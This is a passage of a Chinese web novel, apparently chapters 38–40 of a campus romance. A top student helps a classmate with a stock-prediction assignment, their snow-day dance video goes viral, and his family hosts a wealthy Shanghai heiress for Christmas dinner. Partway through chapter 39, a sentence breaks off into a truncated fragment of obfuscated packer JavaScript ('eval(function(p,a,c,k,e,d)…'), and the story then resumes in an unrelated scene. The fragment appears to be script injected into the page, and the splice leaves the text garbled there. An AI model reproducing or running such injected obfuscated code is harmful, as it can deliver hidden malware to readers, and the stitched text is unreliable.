晚上,她躺在床上想,真是尬啊……跟人家吵完架还没和好呢,就得麻烦人家来教她…… 主要是俞惟叙写得有点复杂了,祝岁祯发现里面有的地方是她没学过的。 老师一看完作业,肯定知道这东西是俞惟叙写的,然后大概率会提问她,看她是不是划水混作业。 毕竟俞惟叙的水平老师们都知道,M大和牛津的合作项目这些年只录了他一个。 第二天上午,运筹学的小班课上完,祝岁祯磨磨蹭蹭地收拾书包,去了最后一排。 俞惟叙正在笔记本上面无表情地打字,余光瞥见她来了,准备收尾。 他前排一个女生看见,好奇地问祝岁祯:“你们这是……?” 祝岁祯回她:“讨论一下预测模型的作业。” 那女生一听,迅速从包里掏出电脑对俞惟叙说:“大神!你可以帮我看看吗?我还没交呢,想再完善完善。” 俞惟叙瞥她一眼:“都这时候了,直接交吧,再晚就要扣分了。” “求你了,帮忙看两眼吧~我马上就交。” 俞惟叙眼神里有些不耐烦,但没说什么,把她的笔记本拿过来,飞速看她写的流程报告。 剩下几个还没走的同学,一见这架势,立刻也凑了过来。 俞惟叙皱了皱眉头:“需要用这么复杂的模型吗?是不是用力过猛?线性回归就行了。” 那女生有些尴尬:“我也试过别的模型,最后还是觉得这个比较准……” 俞惟叙也没多废话:“我个人觉得‘适合’比‘炫技’更重要,不过你要是想用这个,那就用吧,一个小作业而已。” 他把女生的笔记本推了回去:“快交吧,明天就提问了,你要给老师看作业的时间。” 他一抬头,周围不知道从哪里冒出来一些人。“你们这是……?” “大神!也帮我们看看吧!” 俞惟叙无奈道:“你们也都没交吗?” “交啦交啦!” “担心老师提问,所以先求你看看。” 俞惟叙既然已经看了那个女生的,就不好拒绝别人。同学们隔空传送给他文件,三个而已,他只看报告不看代码,也挺快的。 “你这个,要考虑同一时间段、不同行业股价的影响啊,肯定有的涨有的跌,行业之间也有正负相关性。” “啊……哎呀……”那同学懊悔地看着手机。 俞惟叙点开下一个报告。 “你们XGBoost的权重优化方法,老师应该会问,做好准备。” 他迅速再点开下一个,一目十行地看着。 “多模型应用是对的,但是你们不能直接定死了啊,不同场景应该适用不同模型,比如个股和整体。” 他看出的问题不少,但毕竟大家不是计算机专业的,做成这样也无可厚非,能活学活用就是老师的目的了。 所以他也没多挑毛病,简单指出来一两个,就“啪嗒”合上电脑。 “作业交了就行了,不用再浪费时间,赶快准备其他科目的考试吧。” 随后他看向祝岁祯:“走。” 祝岁祯赶紧跟着他出去,心想自己这回是真抱到大腿了…… 39.第三十九章 出了教室门,他问:“去哪儿?我宿舍?” “不不不,我预约了讨论室。” 祝岁祯才不要去他家,之前那次是情况紧急,如无必要,还是不要往异性住处跑。 俞惟叙有些惊讶:“咱学校还有讨论室?一个学期都快结束了,我才知道。” “是啊,你没事了可以多看看学校的app,好多小功能呢。” 到了讨论室,祝岁祯从包里掏出电脑。俞惟叙坐下,把东西扔在一边,跷了个二郎腿手插在兜里,靠在椅背散漫悠闲地看着她输密码。 “呵,”他笑了一下,“我以为你会用生日当密码,竟然是八个八?” 穷人简单的小梦想,突然被富二代嘲笑了。 祝岁祯装作若无其事地打开文件,认真分析:“大道至简,生日哪里比发财有意思?” 俞惟叙不这么想:“这世界上,你的出生才是最有意义的,钱财只是辅助工具而已。” 祝岁祯叹了口气。 富二代单纯得有点残忍了。 她点点头:“确实,这话很符合你的身份,你应该没缺过钱吧。” 俞惟叙立刻问:“你很缺钱吗?” 她看着屏幕,想了想:“我家曾经有段时间很缺钱,现在……还好,省着点花倒也够,只是没什么抗风险的能力,一个浪过来就会翻船。” 俞惟叙没说话,大概明白了她这学期为什么这么卷。太焦虑了吧,为了毕业求职。 祝岁祯打开自己的笔记文档,开始一个个问他,俞惟叙一个个解答。 他发现尽管祝岁祯的成绩已经排在年纪前几名了,但水平还是有限,那大概不是她的问题,是M大课程教学本身就不太深入,而且也不够前沿。 俞惟叙庆幸自己果断地去了牛津,在喜欢的专业道路上迈出重要的一步。虽然最后大概率还是要回归家里的事业,日常工作以管理为主。 但人活着就是要忠于自己热爱的事情,哪怕只有一年、一个月、一个瞬间。 趁祝岁祯做笔记,俞惟叙看了看她挂在椅背的书包,大概用挺久了,边角处磨出一点碎毛,没有挂装饰品,侧兜放着保温杯。 他鬼使神差地抽出杯子,轻轻晃了晃,里面有水。 祝岁祯敲完字,偶然回头,看见这大兄弟一点儿也没把自己当外人,拿着她的杯子小口啜饮。 “不是……你……”她低头看了眼,书包侧兜刚好在离他近的这一边。 他仍旧神闲气静,跟品茗似的:“借我喝点儿,给你讲了这么久,嗓子都冒烟了,别这么小气。” “我哪里小气啦……你要喝水告诉我啊,给你买一瓶不就行了。” 俞惟叙勾唇一笑:“怎么能让你破费,不是缺钱吗?” 她无奈:“倒也不至于就缺这几块钱。” 俞惟叙懒洋洋道:“不想喝凉的,你杯子里的不热不冷刚刚好。” 她嘟囔着:“但是……干嘛用人家的杯子啊……” 俞惟叙把杯子递到她眼前晃了晃:“我用的是接水的口,不是你喝水的这个。哼,居然嫌弃我,一会儿给你洗杯子总行了吧。” 祝岁祯扭过头去,没让他看到自己尴尬的表情。 她其实一直用接水的杯口喝水……因为夏天用的水杯只有一个口,就沿续了这个习惯。 还是别告诉他了,省得他膈应。 快到午饭时间,祝岁祯保存好笔记的文档,两人穿上厚外套出去。 “诶?下雪了?” 小小的沙尘一样大小的雪粒飘到脸上,她刚开始以为是雨,但发现衣服上落了像盐一样的东西。 “初雪吧?”俞惟叙也抬头望天。 两人下了台阶,祝岁祯往食堂走,俞惟叙顺路,但他点外卖吃。 俞惟叙知道很多小姑娘喜欢在下雪的时候,穿上古代的服饰去故宫拍照,红墙黄瓦配雪景,十分出片,所以问祝岁祯如果雪下得大了去不去。 但祝岁祯没什么兴趣,可能是从小到大都会被偷拍吧,她对拍照拍视频之类的无感。 俞惟叙又问她们宿舍平安夜和圣诞一般有什么安排,但祝岁祯印象中,除了大一俞惟叙回来的时候两个宿舍聚过餐,就没再有什么活动了。 小羊和大黄要过二人世界,梦梦有时候找她朋友玩、有时候在国外不知道什么地方追星。 远文没钱出去玩,一般就在宿舍看看剧、小说之类的。祝岁祯也没钱乱花,有时间都用来学习挣奖学金了。 俞惟叙有点头疼,吐槽祝岁祯宿舍真是无聊。 他在牛津的时候,大家都挺会玩的,各种学院、学校的活动很多,尤其是圣诞这种大节,必须嗨到爆才行。 快到食堂,俞惟叙提议两个宿舍圣诞的时候聚餐,祝岁祯觉得可以,虽然没什么新意但也算热闹。 -.- 祝岁祯中午睡了一觉之后赶紧起来复习,老师们都已经陆续划了重点。这学期她因为考证书和找实习,平时花在课程上的时间不多。 下午,宿舍其他三个人下了课,远文和小羊留在教学楼自习,梦梦回来处理了一点视频账号的事之后,发现外面的雪越下越大。 她兴奋地到祝岁祯桌前:“祯祯,我一会儿想去足球场拍跳舞的小视频,你能不能陪我一起啊,帮我拍。” 这学期梦梦的舞蹈水平突飞猛进,她一直感叹小时候从来没开发过这项技能,感觉天赋都被埋没了。 祝岁祯看过她cover那些女团男团的舞蹈,还真别说,观赏性极佳。 梦梦告诉她各种卡点、舞种、步伐之类的知识点,祝岁祯才发现就算流行舞蹈,也不是人人都能跳得好看、能让人愿意花钱当粉丝的,能当爱豆的都不容易。 看了下时间,祝岁祯想着反正也复习了一下午,就陪着梦梦出去拍视频吧,她好久没和梦梦一起玩了。 梦梦在宿舍放着音乐,跟着爱豆的练习室视频临时学了十分钟就会了,很欢快轻松的几个拍子,大概十几秒的舞蹈。 但是在祝岁祯眼里,就很难,尤其是脚上的动作。祝岁祯还跟着扭了几下,不行,像个出了bug的机器人。 梦梦挑来挑去,终于选了套好看不臃肿的衣服,祝岁祯依旧穿着她那件胖胖的短款羽绒服,俩人去食堂吃饭。 天亮进去的,出来时天就黑了,路灯也亮了起来,雪花在散射的灯光中纷纷落下,梦梦指着这场景开心地说:“哎呀!我要的就是这样的效果!” 她拿出手机给祝岁祯看,视频里两个很漂亮的女孩子在暖黄的灯光下跳这支舞,雪花像落幕时的彩带一样飞舞,氛围感十足。 祝岁祯点头:“哦,懂了,那咱一会儿得去找找光线……但是你要是背着光拍的话,正面会不会很暗啊?看不见脸。” 梦梦思索着:“不然你一边拍,一边拿着你的手机,给我打个光?” 突然,一道极具磁性的声音在她俩脑袋后响起:“打光?什么打光?你们要打谁?” 两人被吓一跳,梦梦说:“不是打人,是打光,照亮我的脸。鱼仔你怎么会出现在这里?” 俞惟叙把手里的袋子拎了起来:“西北门的水果店没开,我就溜达到食堂买点水果。你俩干嘛呢?” “我要去足球场拍个跳舞的小视频,让祯祯陪我去。” 俞惟叙居然来了兴致:“哦?我也想去看看,你们玩的什么新鲜玩意儿。” “那走呗!一起。”三人往足球场方向去。 路上,梦梦给俞惟叙科普她准备干什么。 韩团里有个很常见的小活动,男团女团会互相跳其他团最近比较热门的舞蹈,一般是截取十几二十秒的高光片段,用来互相增加人气。这种行为叫“challenge”,简称“cha”。 然后这个小活动也被粉丝们吸收,会跳舞的粉丝们也会cha自己喜欢的舞蹈,也可以叫“cover”,翻跳。 梦梦这次要跳的是一个很早就出道的、很有名男团的作品:《初雪》。正好应了今天的景。 到足球场,祝岁祯和梦梦相视一笑。 已经有一个女生在跳了。 祝岁祯感叹:“看来这首歌真的很火啊。” 梦梦带着他们找位置:“真的!每年初雪的时候都有很多团跳这个舞,简直成一个固定节目了。” 梦梦娇俏可爱地跳了三遍,说要回去找最好看的一版发在平台上。 她本来想跳第四遍,跳了一半,跳不下去了,指着祝岁祯旁边的俞惟叙哈哈大笑。 正勤勤恳摄影的祝岁祯好奇地扭头,发现俞惟叙竟然也跟着伴奏,脚跟脚尖灵活地踢踏着,还蛮像那回事的。 梦梦十分慈祥欣慰地看着俞惟叙:“哎呀呀呀鱼仔!孺子可教!你来,为师今日就传授给你这魔鬼的步伐!” 祝岁祯停了拍摄,站起身,好笑地看着俞惟叙拎着一塑料袋苹果橘子走了过去,犹豫中带着跃跃欲试。 梦梦问他:“鱼仔,之前学过跳舞吗?看你好像有点基础的样子。” 俞惟叙说:“我们中学有舞会,学校教过些简单的。” 梦梦拉他到跟前:“已经很好了,很有天赋,看了几遍就会。不像某人,前脚踩后脚。” 祝岁祯被当教学反例,气得吹胡子瞪眼。 俞惟叙看着她,咧开嘴笑了:“什么?你也学了?来来来,跟我一起学,我一个人太尴尬。” 祝岁祯摆手:“不不不……” 俞惟叙把手里的袋子往她旁边一扔,拉着她的胳膊就走,到梦梦跟前停下。 “来吧,梦梦老师,可以开班教学了。” 梦梦开心得不得了,指着努力挣扎的舍友:“祝岁祯同学,安静,不许早退,教学即将开始!” 祝岁祯无奈,只好陪他俩玩。 “首先,咱们先练脚,手上的动作一会儿再加。来,跟我做这个drop的动作……” 祝岁祯知道,自己就是当他俩的笑料来的。 她脚太笨了,好像挂了几斤沙袋一样,动作学了后面忘了前面,第一个八拍连起来做的时候简直像喝了假酒,俞惟叙笑得捂着肚子差点儿坐地上。 “啊啊啊我不练了!”她掀桌子就要走人,虽然没桌子给她掀。 两只胳膊被梦梦和鱼仔一人拉一个,又被拽了回去。 梦梦说:“不行不行,我想好了,我也不能白教你俩,一会儿学完了咱仨一起拍个视频……” 祝岁祯一听,更是要逃:“我不……” 但她根本扯不动俞惟叙钳住她胳膊的那只手,对方甚至为了不让她跑,另一只手握住了她的手。 肌肤相贴,温暖而宽厚的大掌几乎把她整只手都包住,她整条手臂像是麻了一样。 祝岁祯在笑闹中,惊讶地看了他一眼,两人四目相对电光石火间,俞惟叙又松开了握着她的那只手。 那一瞬,快得像是错觉。 在梦梦的威胁和俞惟叙的挟持下,祝岁祯只好答应。但她实在太笨、手脚不够协调,严重拖累了俞惟叙这种尖子生的进度。 没办法,梦梦让她只学手上动作,然后教她一个极简单的脚上动作,告诉她全程都跳这个步伐。 俩人排练了一遍,梦梦觉得OK了,去足球场边上靠近保安亭的位置,找了个纸箱子,放在地上当手机支架。 音乐响起,伴着漫天的飞雪和足球场高大的照明灯,俞惟叙站中间,两女生站两边,随着音乐欢快地蹦哒。 祝岁祯生怕自己跳错了影响他俩,微笑的表情中透露着一丝严肃和紧张。 还好,顺下来了。三人查看视频的时候,俞惟叙把祝岁祯的脸放大了看,和梦梦笑得十分开心。 祝岁祯无语地看他俩嘲笑她视频里的表情。 随后三人又跳了两遍,祝岁祯渐渐放松了一点,动作也能放开些了,梦梦当即拍板用第三版的。 俞惟叙俯身捞起地上的水果,对梦梦说:“这三版都发给我,原视频,谢了。” 梦梦站在原地给他发,俞惟叙把刚才当手机支架用的箱子放回原处,等他回来的时候,手机接收到了视频。 他跟着两个女生往球场大门走,一边低头看视频,又一次被祝岁祯傻了吧唧的表情和动作逗得哈哈笑。 “以后心情不好就翻出来看看,太可乐了这祝岁祯跳得。” 祝岁祯怒道:“鱼仔你真是……!” 回到宿舍,祝岁祯继续复习重点,梦梦打开电脑噼里啪啦,一顿修修剪剪,加上各种字幕效果氛围,发在自己的短视频平台上。 一觉醒来,视频爆了。 晚上八点多发布,到第二天七点梦梦醒,视频点赞近九万,评论将近五千,清一色的夸颜值。 有人猜是不是网红或者播音系、表演系的学生跑人家M大录的视频,好多人回复:还真是M大的。 有不少人在评论科普了俞惟叙和祝岁祯的真名、学院、专业、年级,连老家是哪里的都给扒得一干二净,俞惟叙是观鱼集团的太子爷这事也给抖出来了。 因为宿舍其他三人早八还有最后一堂公司金融的课,梦梦走之前只来得及跟祝岁祯说了一句:昨晚拍的三人跳舞视频爆了。 三个舍友在路上感叹,原来这么多人大半夜的不睡觉净刷小视频。到了教室就只顾着专心跟老师划重点了,谁也没再关注这条视频。 经过一个上午的发酵,视频点赞破二十万了…… 梦梦做自媒体两年半,从来没见过这种阵仗:点赞数每秒都在刷新,数字不断跳动,粉丝数从昨晚发布到现在,直接涨了一万,连带着其他平台的账号也跟着涨。 涨的多的就是她的vlog账号了,有祝岁祯出镜的那几期,点赞评论数明显是其他视频的好几倍。 三个舍友感慨:这真是个看脸的世界啊…… 怪不得那么多有争议的人物,只要长得好,就会有无数前仆后继的粉丝追随、无条件相信。 她昨晚一共传了两个舞蹈视频,一个是她自己的,祝岁祯帮忙运镜拍摄,衣服妆容表情管理都十分清晰到位,舞蹈也非常标准。 后一个才是三人舞,因为手机只是简简单单地放在地上拍摄,镜头画面甚至出现了一点点畸变,三人的脸没有特别清楚,祝岁祯和俞惟叙穿的也都随随便便。 可就是这样一个随随便便的不起眼的视频,各种数据居然是她单人那条的几十倍,并且这个差距不断在扩大…… 梦梦见评论问这俩人的实在太多了,于是出了一条置顶官方评论: 【1.拜托大家不要传播两位同学的私人信息哈,两位素人非情侣关系,临时被我抓来玩的。2.两位同学没有开通任何平台账号,以后也不会开,大家谨防受骗。3.欢迎报考M大金融学院,我院遍地都是这个颜值水平(确信)】 截至祝岁祯下午去上课时,视频点赞量二十六万。 她看到数据的时候人都傻了,好多同学发来链接说她要红,赶快收拾收拾准备签公司当明星吧,以后升咖别忘了同学…… 她无奈地一个个回复:不会的、怎么可能去娱乐圈、只是跟着梦梦随便拍的…… 刚进教室,前排的同学就开始起哄,看来一传十的都知道了。祝岁祯满头黑线地坐下,汗都快滴下来了。 不一会儿,俞惟叙也来上课,他往最后一排一坐,听见动静的同学都扭头跟他聊这事。 俞惟叙倒也大方,笑呵呵地说:“好啊,我要是当上明星,在座各位一人一块钱红包。” 一片嘘声响起。 老师进来了,祝岁祯放下手机,专心看自己做的笔记。老师先大概讲了下股票预测模型作业情况,大部分同学完成得不错。 五分钟之后,他开始点名提问了。 一上来就是俞惟叙和祝岁祯这组,老师说他俩这组是最先交的。 祝岁祯都惊了,她本来还想着自己没干活,拖累了俞惟叙的进度。这么看来,大家好像都是deadline选手,不磨叽到最后绝对交不上的。 或许正是因为她没参与,俞惟叙才能交这么快,毕竟她有好几个地方都不会…… 副院长:“我先说一下啊,因为这组交得最早、完成度和预测效果最好,所以这组是最高分。具体两位同学得多少分,我要看看提问环节的回答情况。来,祝岁祯。” 她把笔记本往前推了推,站起来。 副院长手撑在讲台上,看着她:“先说说你们组的思路,脱稿啊,不要照着报告念。” 后排同学们立刻低声嗡嗡地讨论。 完蛋了……脱稿啊!老师好像要动真格了,划水的混子们这下难受了,最好祈祷平时攒够人品别被老师抽到。 祝岁祯本来就是照着脱稿准备的,她平时上课的时候就大概摸清了这个副院长的性格,他是个蛮认真的人。 所以她很怕万一自己被提问到,答得不好、或者直接没答上来,会让老师给她们这组打低分,连累俞惟叙。 她也担心自己表现得不好,让俞惟叙看轻了自己、更怕同学们鄙视她。毕竟她在别人眼里是努力学习的卷王,怎么能答不上来问题呢? 祝岁祯略一沉吟,组织语言回答: “因为预测下一交易日的涨幅前十名,是短期预测,所以我们组没有太注重周期性波动,把特征工程的构建重点放在了K线形态、阿尔法因子、行业板块等,这种偏交易方向的因素上。” 老师微微颔首。 俞惟叙自从她站起来,就手握成拳抵在唇边,眼含笑意地在最后一排看着她的背影。 随着她一点点讲解,他藏在拳头后的嘴角一点点扬起。 “我们对数据进行清洗筛选后,使用排序学习模式,对两个模型进行……” 她侃侃而谈的同时,下面同学们一边听她回答,一边紧张地准备着,如临大敌。 提问完祝岁祯,老师又提问了俞惟叙。 副院长明显知道两人的水平差距,提问祝岁祯的都是些泛泛而谈的大方向,考察她的整体思路、对流程知识以及模型大概的应用。 对俞惟叙,老师就不是考察了,而是揪住某个模型的细枝末节,跟他讨论更深层次的语句架构。 不管怎样,两人都过关了,拿到本门课程的最高分。 而其他人,就没那么好过了。小组里动脑动手的基本能答上来,那些妄图水一水的人,老师倒也没给脸色批评,但站那里答不上来就非常丢脸了。 下课后,祝岁祯和俞惟叙一起回去,雪化了的地面脏兮兮湿嗒嗒,两人的注意力全在脚下了,防止踩水坑。 俞惟叙想起来什么:“刚才快下课的时候,梦梦说有娱乐公司的人联系她,问我有没有意愿签经纪约。” 他看她一眼:“你呢?有人问吗?” 祝岁祯点头:“有啊。其实上午就有人来问你了,我和梦梦都觉得你肯定不会签。” 她回忆了一下:“但是后来对方好像查到你家公司,说可以把你、跟你家产品联动起来营销,梦梦觉得这个建议还不错,所以就找你问了。” 俞惟叙明白了:“嗯,你呢?别人找你的时候开什么条件了?” 两人终于不用踩脏兮兮的雪地了,前面有段干净的路。 祝岁祯随意道:“没看,不想签,小时候就有人跟我爸妈商量拍广告拍戏的事,但娱乐圈那种地方,没后台没实力没决心,还是别浪费时间,我这种人进去就是炮灰。” 俞惟叙轻笑一声:“这么笃定吗?万一一夜成名,几十万几百万可就轻轻松松地挣了。” 祝岁祯摇头:“挣不了挣不了,没那个命,扛不住。这么多年了,一直有人跟我说这个事,我家也是琢磨过的,我不行。” 她看向俞惟叙:“你呢?多好的营销机会,给自家产品带带货,挣他个几千万上亿的。大老板阿姨肯定也很高兴。” “呵,”他哂笑,“还是算了吧,我跟你一样,走不了这条路。就算我想走,让我姥爷知道了,非打断我的腿不可,他那人太传统。” 就在这时,梦梦给两人发了消息,说有个他俩排练的视频,想趁着这波热度发出来再涨涨粉,所以征求他俩的意见。 两人点开视频,是梦梦拍的,昨晚学完第一个八拍串动作的场景。 俞惟叙那时虽然也不熟练,但总体动作是合格的,完成度很高。祝岁祯这边简直惨不忍睹,慢一拍不说,手和脚都没办法同时做动作,视频里俞惟叙指着她笑得很放肆。 果然,祝岁祯又听到旁边俞惟叙的笑声。 “哈哈哈哈……这段也好……还有这种好货,昨天梦梦都没发给我哈哈哈……不行,我要问问她还有没有,别藏着掖着……” 俞惟叙立刻回复梦梦:【没问题,可以发,太好笑了】 祝岁祯简直头大:“哎!这位同学!我记得,大一的时候梦梦问你能不能出镜,你当时拒绝得很干脆!现在是被夺舍了吗?你醒醒啊喂!” 俞惟叙忙着保存视频:“我这是心怀大爱、日行一善、功德无量,为了给世人带来欢乐,我甘愿牺牲自己。” 祝岁祯翻了个白眼:“我信你个鬼啊,你纯粹就是想看评论区怎么笑话我是吧!资本家的心真是太黑了……” -.- 回到宿舍,梦梦软磨硬泡地缠了她好久,说鱼仔那种死板的人都能答应,反正前面那个视频都已经这么多人看了,再发一个也没什么区别。 祝岁祯扛不住,还是答应了,主要她晚上有一门考试,得赶紧复习,不能再为这事纠结了。 梦梦立刻化身剪刀手,把几个视频拼接在一起,准备上传。 但她发现平台居然生成了一个【M大初雪三人组】的标签,似乎是 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return 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俞惟叙颜值太高,又不开账号不在网络上发他个人相关的消息,导致花痴网友们的爱实在无处发泄,只好消费在他家的产品上。 得,这下连营销公司的钱都省了,间接带货。 本来应该是件好事,但俞惟叙此刻心情不佳。 昨晚关理之发来消息:明天圣诞节,林期尔和她爸妈要来家里吃饭,让他考完试赶快回别墅。 林期尔爸妈每个季度都要抽时间,随机检查集团下属各个大区的酒店,这次是华北区,最近几天在北京检查。 林期尔因为学校放圣诞假,就回国和爸妈一起来北京。 两个宿舍本来都定好了要约饭,被林期尔一家给破坏了。 -.- 圣诞节下午,金融班考行为金融学,金工班考常微分方程,三点的时候两拨人同时结束考试,考场也挨着,大家一起出来。 俞惟叙看着手机的消息,面色微沉。 “哎呀~鱼仔啊~你被召唤回家了呀~我们可怎么办啊~~”鸡哥哀嚎着,把胳膊搭在俞惟叙肩膀上。 “聚不齐就算了吧,少一个人,这饭吃得也挺没滋味的,我和小羊我俩自己安排吧。”大黄走过来说。 箫剑倒是很随意:“我没事,我女朋友下午也考试,晚上有选修课,我俩明天再约。你们晚上要是需要饭搭子,可以叫我。” 鸡哥轻轻捶了他一拳:“你直接说后半句就行了,谈个恋爱看把你美的,三句话不离你女朋友!” 小羊笑道:“可以理解,刚谈嘛,正甜着呢。” 鸡哥继续哀嚎:“啊,我也想有个小学妹谈一谈啊……” 几人往楼下走,下楼梯的时候,俞惟叙说:“我就不跟你们一起回了,有人来接我。” 大黄:“哦?你爸妈?” 鸡哥:“你家司机?” 箫剑:“你家保姆?” 俞惟叙顿了顿:“是今晚一起吃饭的朋友。” 大家好奇地跟他下去,走出教学楼,瞬间被门口小广场上大大咧咧停着的一辆紫色超跑震惊了。 箫剑:“卧槽啊……” 鸡哥:“这特么,帕加尼……?” 祝岁祯也惊讶了,这车帅得,简直超乎她对车子的认知,尤其是尾部向上翘起的两片小风翼,像短款的燕尾,让所有对跑车不感兴趣的人都得多瞧两眼。 路过的人果然都被吸引了视线,有的拿出手机,偷摸拍了两张照片才走。 大黄:“鱼仔,这就是来接你的车?我靠啊……” 小羊:“你朋友太有实力了吧……哎等等,为什么是上海的车牌啊?” 俞惟叙略略叹了口气:“浮夸。这朋友是上海的,最近在北京待一个多星期,所以把她两辆车子给托运来了。” 祝岁祯不解:“为啥要托运,直接找司机给开过来不行吗?” 俞惟叙的舍友们瞪大了眼睛看她,好像她在讲什么大逆不道的话。 大黄:“这种限量级超跑最好还是别上高速吧,磨损太严重了……” 这么聊着,几人朝豪车走去。 车主似乎也看到俞惟叙了,降下半块车窗,对他挥了挥手。 因为车子太低,祝岁祯只看到非常精致的半张脸,戴着墨镜,唇上的大红色明媚张扬。 车里的人身着蓬松的白色皮草,精致的美甲点缀在她漂亮的手上。但最吸睛的不是什么美甲,而是她左手手腕缠绕着的三圈手镯。 那手镯完全是蛇的造型,蛇头有大半个手腕那么粗,嵌满了大颗钻石,蛇眼是祖母绿,蛇身也间接镶嵌着钻石和宝石。 如果说普通的蛇让人看了害怕,这条蛇镯,也挺让人害怕的,这吓人的财力啊…… 戴着钻石镯子的手,戴了同款的蛇形钻戒,满满当当的钻石爆闪。而这只手放在深紫色的、设计得极具科幻感的方向盘上。 俞惟叙回头跟他们说再见,绕过车子到副驾上,开门进去。超跑启动,发出低沉的轰鸣,让几个男生给听爽了。 似乎是错觉,祝岁祯好像瞧见,富婆姐姐从形状如同飘逸树叶一样的后视镜里,看了她一眼。 嗯,一定是错觉,人家这种程度的富豪,怎么会注意到灰头土脸的她呢。 几个人往宿舍走,男生边走边聊那辆车。帕加尼,大几千万,超跑中的贵族,开车的妥妥是沪上名媛。鱼仔这小子有福了,人家专门来接他。要不是知道他家也有钱,会以为他被富婆包养了。 女生则在聊富姐手上的镯子和钻戒,不光是祝岁祯,别的舍友也看到了,实在是闪瞎狗眼。 小羊颇有研究,她说这应该是宝格丽的高定珠宝,大几百万一件的那种,富婆买来玩玩轻轻松松。 蛇头上随便嵌的一颗钻,说不定就比普通女孩婚戒的钻石还大。 七个人都沉默了。 唉,这世界啊。 -.- 帕加尼拉风地驶出校园,一路往东。 林期尔这次不说英语了,拿俞惟叙练中文。 “听阿姨说,你们一家三口平时都在金融街住?” 车里有些热,俞惟叙把外套脱下:“对,小房子打理着省心,离我姥爷家近。” “挺好的,蛮温馨,说实话,你家要是在二环内请我们吃饭,我这车就不能开了。” 俞惟叙不解地看向她。 林期尔目视前方:“你不知道吧?北京不让外地车进二环,办进京证也不行。” 他笑了一下:“的确不知道。” “哎呀,是吧?规矩真多。我本来想开着车在长.安.街溜一圈,还是算了吧。” 俞惟叙把外套叠了叠:“你没碰上开大会,到时候规矩更多。” 林期尔问了他一些关于他爸妈的事,想提前了解了解,一会儿吃饭了好聊天。俞惟叙没想到,她竟然还挺重视这顿饭。 车子进入朝阳一处高端别墅区,在其他省市也就一两千万的房子,在这里直接两个亿。三层的别墅院里有草坪、花园,后院有泳池。 车子停进车库,林期尔拎着包包下车的时候,看了一眼里面停着的两辆车。 “这款玛莎拉蒂,我家好多年前也有一辆,真是有缘啊。” 俞惟叙带着她穿过院子:“我家这辆也有些年头了。西城那套房子停车位太少,我妈换新车之后,这车就一直躺着吃灰。” 俞惟叙让林期尔在一楼客厅休息,自己上楼换了件衣服下来。 厨房里,五六个临时请来顶级酒店名厨正在忙活,家政陈姨也从西城过来,帮着别墅这边的管家团队收拾房子,毕竟好久没人住了,今天又要宴请贵客。 很快,俞况的车也开进院子。 他进客厅和林期尔笑着说:“车库里那是你的帕加尼?哎哟真好看,有眼光。” 林期尔开心地站起来:“能有您一句夸,就值得我把它运过来。” 俞况提议:“这晚上得去三里屯和国贸炸炸街。” 林期尔和他一起坐下:“跟您想到一起去了,我正有此意。” 俞况问陈姨,老婆什么时候回,陈姨说马上,今天公司业务突然有点多。而且林家爸妈在外面检查酒店,也得稍等个二十分钟。 俞况继续和林期尔聊天,他平时做科研,几乎不了解观鱼的事情,更别提林期尔家的业务了。 林期尔跟他讲了讲这些天检查酒店的趣事,随后两人就开始聊她在康奈尔的留学生活。俞况二十多年前在MIT毕业,和她也算同为美区留子,有点共同话题。 十来分钟后,两家人都到齐了,厨师开始上菜,满桌珍馐佳肴,关理之说她特意安排了几道京菜,让林家换换口味。 饭桌上两家人相聊甚欢,谈起观鱼今天暴涨的订单,关理之有点哭笑不得的尴尬。 正好林期尔也刷到了周梦津发布的视频,把手机拿给爸妈看。 林家爸妈看完,乐呵呵地说:“年轻的小孩儿就是好啊,青春活泼。林期尔这孩子,天天就知道购物花钱,社交圈子都在国外,回国了也没几个玩得好的朋友。” 俞惟叙解释道:“我也是想着回国多交些朋友,正好碰上俩同学在拍视频,觉得挺新鲜的,就去凑个热闹,没想到这么多人看。” 林家爸妈说他这样就挺好,让他也多带林期尔玩,带她多认识认识北京这边政商界的朋友。 吃完饭,关理之让司机把林家爸妈送去下榻的酒店,回来对着俞惟叙,劈头盖脸就是一顿呲儿。 “你脑子里都装的什么!拍的那是什么东西!你瞧瞧营销号发的……亏得公关部今天上午给清了,不然让林家误会了怎么办!” 俞惟叙有点烦:“我怎么知道他们剪成那样?我要是看到了会跟公司说的。这两天有考试,没顾得上。” 俞况在一旁和稀泥:“哎哟,算了算了,同学拍个视频而已,连肢体接触都没有,林家不是傻子,看得出真假。” 俞惟叙不服气地对老妈说:“我好歹还给你带货了呢,你挣钱不高兴吗?那林期尔的朋友圈你看过吗?穿着比基尼跟男男女女搂在一起,你怎么不说她?” 他直接上楼,懒得再跟关理之吵,每次都这样,永远看他不满意。要不是她给钱从来不磨叽,俞惟叙都要怀疑自己是不是亲生的了。 40.第四十章 祝岁祯坐在书桌前,打开有两个宿舍的八人大群聊,翻看昨晚俞惟叙发的信息: 【抱歉,明天晚上不能跟你们一起吃饭了,我妈刚打来电话,说有朋友从国外回来,要跟这家人吃顿饭】 上海、朋友、圣诞节一起吃饭、国外回来……种种的信息都指向同一个人:俞惟叙曾说过的、他妈妈给他介绍的对象。 突然,梦梦的声音扯断了她的思绪: “那些营销号的视频怎么没有了?!” 梦梦一回来就看到自己的点赞评论还在不断增加。但之前那些营销号发的“神仙爱情”,一个都搜不到。 她还去历史记录里查了查,真的都没了。其他平台的也是。 梦梦虽然不喜欢那些营销号二次剪辑自己的原创内容,但这些视频集体消失就很诡异。 她实在太好奇,恰巧自己因为这两年接广告做自媒体的原因,认识几个从业的朋友,托他们帮忙问了问。 刚考完试,大家都想放松一下,出去吃个饭。小羊和大黄出去玩,远文不想花钱,女生宿舍梦梦只能拉祝岁祯去。 男生宿舍只剩鸡哥和箫剑,四人攒了个局,去五道口的美食城找个涮串的店,坐下点餐。 涮锅端上来、食材都摆好了,四人准备开涮的时候,梦梦在等的回复来了。 是观鱼那边的公关联系这些营销号撤掉的,说他们发布不实内容,如果不删除就要发律师函。 四人都惊了,这一刻,大家突然直观地感受到自己和鱼仔不是同路人,以后可别惹他,否则律师函警告。 但是当鲜辣的串串塞到嘴里,四人都忘掉了什么鱼仔、公关的事,吃饱了再说。 四人一边吃,一边商量着下星期证券投资学的考试,想让祝岁祯考前再帮忙串一遍重点,毕竟是大班课,两个专业一起考试,有现成的大腿就得早点抱。 祝岁祯刚说:“没问题”,就听到旁边有人过来打招呼,“学姐,我俩和你们坐一起可以吗?” 四人抬头。 